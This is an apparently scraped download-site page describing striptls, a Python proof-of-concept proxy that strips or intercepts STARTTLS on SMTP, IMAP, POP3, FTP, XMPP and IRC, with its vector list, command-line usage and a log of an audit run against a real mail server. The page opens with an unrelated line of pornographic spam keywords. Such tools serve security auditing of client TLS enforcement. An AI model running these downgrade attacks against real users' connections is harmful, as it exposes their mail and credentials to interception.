chinese直男口爆体育生外卖, 99久久er热在这里只有精品99, 又色又爽又黄18禁美女裸身无遮挡, gogogo高清免费观看日本电视,私密按摩师高清版在线,人妻视频毛茸茸,91论坛 兴趣闲谈,欧美 亚洲 精品 8区,国产精品久久久久精品免费

電子發(fā)燒友App

硬聲App

搜索歷史

清空
搜索熱詞
      0
      • 聊天消息
      • 系統(tǒng)消息
      • 評(píng)論與回復(fù)
      VIP于 到期 續(xù)費(fèi)
      登錄后你可以
      • 下載海量資料
      • 學(xué)習(xí)在線課程
      • 觀看技術(shù)視頻
      • 寫文章/發(fā)帖/加入社區(qū)
      會(huì)員中心
      創(chuàng)作中心
      發(fā)布
      創(chuàng)作活動(dòng)

      完善資料讓更多小伙伴認(rèn)識(shí)你，還能領(lǐng)取20積分哦，立即完善>

      3天內(nèi)不再提示
      創(chuàng)作
      電子發(fā)燒友網(wǎng)>電子資料下載>電子資料>striptls審計(jì)代理

      striptls審計(jì)代理

      2022-05-09 | zip | 0.03 MB | 次下載 | 2積分

      資料介紹

      授權(quán)協(xié)議 CC0
      開發(fā)語(yǔ)言 Python
      軟件類型 開源軟件

      軟件簡(jiǎn)介

      STARTTLS?是對(duì)純文本通信協(xié)議的擴(kuò)展。它提供一種方式將純文本連接升級(jí)為加密連接（TLS或SSL），而不是另外使用一個(gè)端口作加密通信。

      striptls是一款端口剝離攻擊的POC實(shí)現(xiàn)

      SMTP

      SMTP.StripFromCapabilities?-?server?response?capability?patchSMTP.StripWithInvalidResponseCode?-?client?STARTTLS?stripping,?invalid?response?codeSMTP.UntrustedIntercept?-?STARTTLS?interception?(client?and?server?talking?ssl)?(requires?server.pem?in?pwd)SMTP.StripWithTemporaryErrorSMTP.StripWithErrorSMTP.ProtocolDowngradeStripExtendedModeSMTP.InjectCommand

      POP3

      POP3.StripFromCapabilitiesPOP3.StripWithErrorPOP3.UntrustedIntercept

      IMAP

      IMAP.StripFromCapabilitiesIMAP.StripWithErrorIMAP.UntrustedInterceptIMAP.ProtocolDowngradeToV2

      FTP

      FTP.StripFromCapabilitiesFTP.StripWithErrorFTP.UntrustedIntercept

      NNTP

      NNTP.StripFromCapabilitiesNNTP.StripWithErrorNNTP.UntrustedIntercept

      XMPP

      XMPP.StripFromCapabilities
XMPP.StripInboundTLS
XMPP.UntrustedIntercept
ACAP?(untested)
ACAP.StripFromCapabilities
ACAP.StripWithError
ACAP.UntrustedIntercept

      IRC

      IRC.StripFromCapabilitiesIRC.StripWithErrorIRC.UntrustedInterceptIRC.StripWithNotRegisteredIRC.StripCAPWithNotregisteredIRC.StripWithSilentDrop

      結(jié)果：

      -?[*]?client:?127.0.0.1-?????[Vulnerable!]?-?????[Vulnerable!]?-?????[???????????]?-?????[Vulnerable!]?-?[*]?client:?192.168.139.1-?????[Vulnerable!]?-?????[Vulnerable!]?-?????[Vulnerable!]?

      實(shí)例:

      #>?python?-m?striptls?--help????#?from?pip/setup.py#>?python?striptls?--help???????#?from?source?/?root?folderUsage:?striptls?[options]???????example:?striptls?--listen?0.0.0.0:25?--remote?mail.server.tld:25Options:
??????-h,?--help????????????show?this?help?message?and?exit??-v,?--verbose?????????make?lots?of?noise?[default]
??????-l?LISTEN,?--listen=LISTENlisten?ip:port?[default:?0.0.0.0:]
??????-r?REMOTE,?--remote=REMOTE
????????????????????????????remote?target?ip:port?to?forward?sessions?to
??????-k?KEY,?--key=KEY?????SSL?Certificate?and?Private?key?file?to?use,?PEMformat?assumed?[default:?server.pem]
??????-x?VECTORS,?--vectors=VECTORS????????????????????????????Comma?separated?list?of?vectors.?Use?'ALL'?(default)????????????????????????????to?select?all?vectors.?Available?vectors:
????????????????????????????FTP.StripFromCapabilities,?FTP.StripWithError,
????????????????????????????FTP.UntrustedIntercept,?IMAP.StripFromCapabilities,
????????????????????????????IMAP.StripWithError,?IMAP.UntrustedIntercept,
????????????????????????????NNTP.StripFromCapabilities,?NNTP.StripWithError,
????????????????????????????NNTP.UntrustedIntercept,?POP3.StripFromCapabilities,
????????????????????????????POP3.StripWithError,?POP3.UntrustedIntercept,
????????????????????????????SMTP.ProtocolDowngradeStripExtendedMode,
????????????????????????????SMTP.StripFromCapabilities,?SMTP.StripWithError,
????????????????????????????SMTP.StripWithInvalidResponseCode,
????????????????????????????SMTP.StripWithTemporaryError,?SMTP.UntrustedIntercept,
????????????????????????????XMPP.StripFromCapabilities,?XMPP.StripInboundTLS,
????????????????????????????XMPP.UntrustedIntercept?[default:?ALL]

      安裝：

      1.從pip安裝

      #>?pip?install?striptls

      2.從源安裝

      #>?setup.py?install

      示例:

      ??????????????????inbound????????????????????outbound
[inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target]
??smtp-client???????????????????striptls????????????????????remote/target

      本地?smtp-client?->?localhost:8825?(代理) ->?mail.gmx.net:25

      審計(jì)模式:

      在特定的情況下遍歷所有協(xié)議并且跟蹤違反starttls協(xié)議的客戶端。你可以選擇按Ctrl + C來中止審核并打印結(jié)果。

      #> python striptls --listen localhost:8825 --remote=mail.gmx.net:25
2016-02-02 22:11:56,275 - INFO ? ? -  ready.
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:21 ? , proto: ? ? FTP): 
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:21 ? , proto: ? ? FTP): 
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:21 ? , proto: ? ? FTP): 
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:143 ?, proto: ? ?IMAP): 
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:143 ?, proto: ? ?IMAP): 
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:143 ?, proto: ? ?IMAP): 
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:119 ?, proto: ? ?NNTP): 
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:119 ?, proto: ? ?NNTP): 
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:119 ?, proto: ? ?NNTP): 
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:110 ?, proto: ? ?POP3): 
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:110 ?, proto: ? ?POP3): 
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:25 ? , proto: ? ?SMTP): 
2016-02-02 22:11:56,275 - DEBUG ? ?- * added test (port:25 ? , proto: ? ?SMTP): 
2016-02-02 22:11:56,276 - DEBUG ? ?- * added test (port:25 ? , proto: ? ?SMTP): 
2016-02-02 22:11:56,276 - DEBUG ? ?- * added test (port:25 ? , proto: ? ?SMTP): 
2016-02-02 22:11:56,276 - DEBUG ? ?- * added test (port:25 ? , proto: ? ?SMTP): 
2016-02-02 22:11:56,276 - DEBUG ? ?- * added test (port:5222 , proto: ? ?XMPP): 
2016-02-02 22:11:56,276 - INFO ? ? - ]), 110: set([, ]), 143: set([, , ]), 21: set([, , ]), 119: set([, , ]), 25: set([, , , , ])}>
2016-02-02 22:12:08,477 - DEBUG ? ?-  - protocol detected (target port)
2016-02-02 22:12:08,530 - INFO ? ? -  client ('127.0.0.1', 28902) has connected
2016-02-02 22:12:08,530 - INFO ? ? -  connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:08,805 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:08,805 - DEBUG ? ?- 
2016-02-02 22:12:09,759 - DEBUG ? ?-  [client] => [server] ? ? ? ? ?'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:09,850 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:09,851 - DEBUG ? ?-  [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
2016-02-02 22:12:09,867 - DEBUG ? ?-  [client] => [server] ? ? ? ? ?'STARTTLS\r\n'
2016-02-02 22:12:09,867 - DEBUG ? ?-  [client] <= [server][mangled] '200 STRIPTLS\r\n'
2016-02-02 22:12:09,867 - DEBUG ? ?-  [client] => [server][mangled] None
2016-02-02 22:12:09,883 - DEBUG ? ?-  [client] => [server] ? ? ? ? ?'mail FROM: size=10\r\n'
2016-02-02 22:12:09,983 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'530 Authentication required\r\n'
2016-02-02 22:12:09,992 - DEBUG ? ?-  [client] => [server] ? ? ? ? ?'rset\r\n'
2016-02-02 22:12:10,100 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'250 OK\r\n'
2016-02-02 22:12:10,116 - WARNING ?-  terminated.
2016-02-02 22:12:13,056 - DEBUG ? ?-  - protocol detected (target port)
2016-02-02 22:12:13,056 - INFO ? ? -  client ('127.0.0.1', 28905) has connected
2016-02-02 22:12:13,057 - INFO ? ? -  connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:13,241 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:13,241 - DEBUG ? ?- 
2016-02-02 22:12:14,197 - DEBUG ? ?-  [client] => [server] ? ? ? ? ?'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:14,289 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:14,304 - DEBUG ? ?-  [client] => [server] ? ? ? ? ?'STARTTLS\r\n'
2016-02-02 22:12:14,305 - DEBUG ? ?-  [client] <= [server][mangled] '454 TLS not available due to temporary reason\r\n'
2016-02-02 22:12:14,305 - DEBUG ? ?-  [client] => [server][mangled] None
2016-02-02 22:12:14,320 - DEBUG ? ?-  [client] => [server] ? ? ? ? ?'mail FROM: size=10\r\n'
2016-02-02 22:12:14,411 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'530 Authentication required\r\n'
2016-02-02 22:12:14,415 - DEBUG ? ?-  [client] => [server] ? ? ? ? ?'rset\r\n'
2016-02-02 22:12:14,520 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'250 OK\r\n'
2016-02-02 22:12:14,535 - WARNING ?-  terminated.
2016-02-02 22:12:16,649 - DEBUG ? ?-  - protocol detected (target port)
2016-02-02 22:12:16,650 - INFO ? ? -  client ('127.0.0.1', 28908) has connected
2016-02-02 22:12:16,650 - INFO ? ? -  connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:16,820 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:16,820 - DEBUG ? ?- 
2016-02-02 22:12:17,760 - DEBUG ? ?-  [client] => [server] ? ? ? ? ?'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:17,849 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:17,849 - DEBUG ? ?-  [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
2016-02-02 22:12:17,871 - WARNING ?-  terminated.
2016-02-02 22:12:20,071 - DEBUG ? ?-  - protocol detected (target port)
2016-02-02 22:12:20,072 - INFO ? ? -  client ('127.0.0.1', 28911) has connected
2016-02-02 22:12:20,072 - INFO ? ? -  connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:20,239 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:20,240 - DEBUG ? ?- 
2016-02-02 22:12:21,181 - DEBUG ? ?-  [client] => [server] ? ? ? ? ?'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:21,269 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:21,280 - DEBUG ? ?-  [client] => [server] ? ? ? ? ?'STARTTLS\r\n'
2016-02-02 22:12:21,281 - DEBUG ? ?-  [client] <= [server][mangled] '501 Syntax error\r\n'
2016-02-02 22:12:21,281 - DEBUG ? ?-  [client] => [server][mangled] None
2016-02-02 22:12:21,289 - DEBUG ? ?-  [client] => [server] ? ? ? ? ?'mail FROM: size=10\r\n'
2016-02-02 22:12:21,381 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'530 Authentication required\r\n'
2016-02-02 22:12:21,386 - DEBUG ? ?-  [client] => [server] ? ? ? ? ?'rset\r\n'
2016-02-02 22:12:21,469 - DEBUG ? ?-  [client] <= [server] ? ? ? ? ?'250 OK\r\n'
2016-02-02 22:12:21,485 - WARNING ?-  terminated.
2016-02-02 22:12:23,665 - WARNING ?- Ctrl C - Stopping server
2016-02-02 22:12:23,665 - INFO ? ? - ?-- audit results --
2016-02-02 22:12:23,666 - INFO ? ? - [*] client: 127.0.0.1
2016-02-02 22:12:23,666 - INFO ? ? - ? ? [Vulnerable!] 
2016-02-02 22:12:23,666 - INFO ? ? - ? ? [Vulnerable!] 
2016-02-02 22:12:23,666 - INFO ? ? - ? ? [ ? ? ? ? ? ] 
2016-02-02 22:12:23,666 - INFO ? ? - ? ? [Vulnerable!]

      除了審計(jì)模式外還有從服務(wù)端剝離starttls、無(wú)效化starttls響應(yīng)、不可行的ssl鏈接（對(duì)于客戶端則是不在檢驗(yàn)服務(wù)端的證書是否可信）以及XMPP的追蹤審計(jì)的功能。

      介紹內(nèi)容來自 FreeBuf黑客與極客（FreeBuf.COM）

      ?

      下載該資料的人也在下載 下載該資料的人還在閱讀
      更多 >

      評(píng)論

      查看更多

      下載排行

      本周

      1. 1DD3118電路圖紙資料
      2. 0.08 MB   |  1次下載  |  免費(fèi)
      3. 2AD庫(kù)封裝庫(kù)安裝教程
      4. 0.49 MB   |  1次下載  |  免費(fèi)
      5. 3PC6206 300mA低功耗低壓差線性穩(wěn)壓器中文資料
      6. 1.12 MB   |  1次下載  |  免費(fèi)
      7. 4網(wǎng)絡(luò)安全從業(yè)者入門指南
      8. 2.91 MB   |  1次下載  |  免費(fèi)
      9. 5DS-CS3A P00-CN-V3
      10. 618.05 KB  |  1次下載  |  免費(fèi)
      11. 6海川SM5701規(guī)格書
      12. 1.48 MB  |  次下載  |  免費(fèi)
      13. 7H20PR5電磁爐IGBT功率管規(guī)格書
      14. 1.68 MB   |  次下載  |  1 積分
      15. 8IP防護(hù)等級(jí)說明
      16. 0.08 MB   |  次下載  |  免費(fèi)

      本月

      1. 1貼片三極管上的印字與真實(shí)名稱的對(duì)照表詳細(xì)說明
      2. 0.50 MB   |  103次下載  |  1 積分
      3. 2涂鴉各WiFi模塊原理圖加PCB封裝
      4. 11.75 MB   |  89次下載  |  1 積分
      5. 3錦銳科技CA51F2 SDK開發(fā)包
      6. 24.06 MB   |  43次下載  |  1 積分
      7. 4錦銳CA51F005 SDK開發(fā)包
      8. 19.47 MB   |  19次下載  |  1 積分
      9. 5PCB的EMC設(shè)計(jì)指南
      10. 2.47 MB   |  16次下載  |  1 積分
      11. 6HC05藍(lán)牙原理圖加PCB
      12. 15.76 MB   |  13次下載  |  1 積分
      13. 7802.11_Wireless_Networks
      14. 4.17 MB   |  12次下載  |  免費(fèi)
      15. 8蘋果iphone 11電路原理圖
      16. 4.98 MB   |  6次下載  |  2 積分

      總榜

      1. 1matlab軟件下載入口
      2. 未知  |  935127次下載  |  10 積分
      3. 2開源硬件-PMP21529.1-4 開關(guān)降壓/升壓雙向直流/直流轉(zhuǎn)換器 PCB layout 設(shè)計(jì)
      4. 1.48MB  |  420064次下載  |  10 積分
      5. 3Altium DXP2002下載入口
      6. 未知  |  233089次下載  |  10 積分
      7. 4電路仿真軟件multisim 10.0免費(fèi)下載
      8. 340992  |  191390次下載  |  10 積分
      9. 5十天學(xué)會(huì)AVR單片機(jī)與C語(yǔ)言視頻教程 下載
      10. 158M  |  183342次下載  |  10 積分
      11. 6labview8.5下載
      12. 未知  |  81588次下載  |  10 積分
      13. 7Keil工具M(jìn)DK-Arm免費(fèi)下載
      14. 0.02 MB  |  73815次下載  |  10 積分
      15. 8LabVIEW 8.6下載
      16. 未知  |  65989次下載  |  10 積分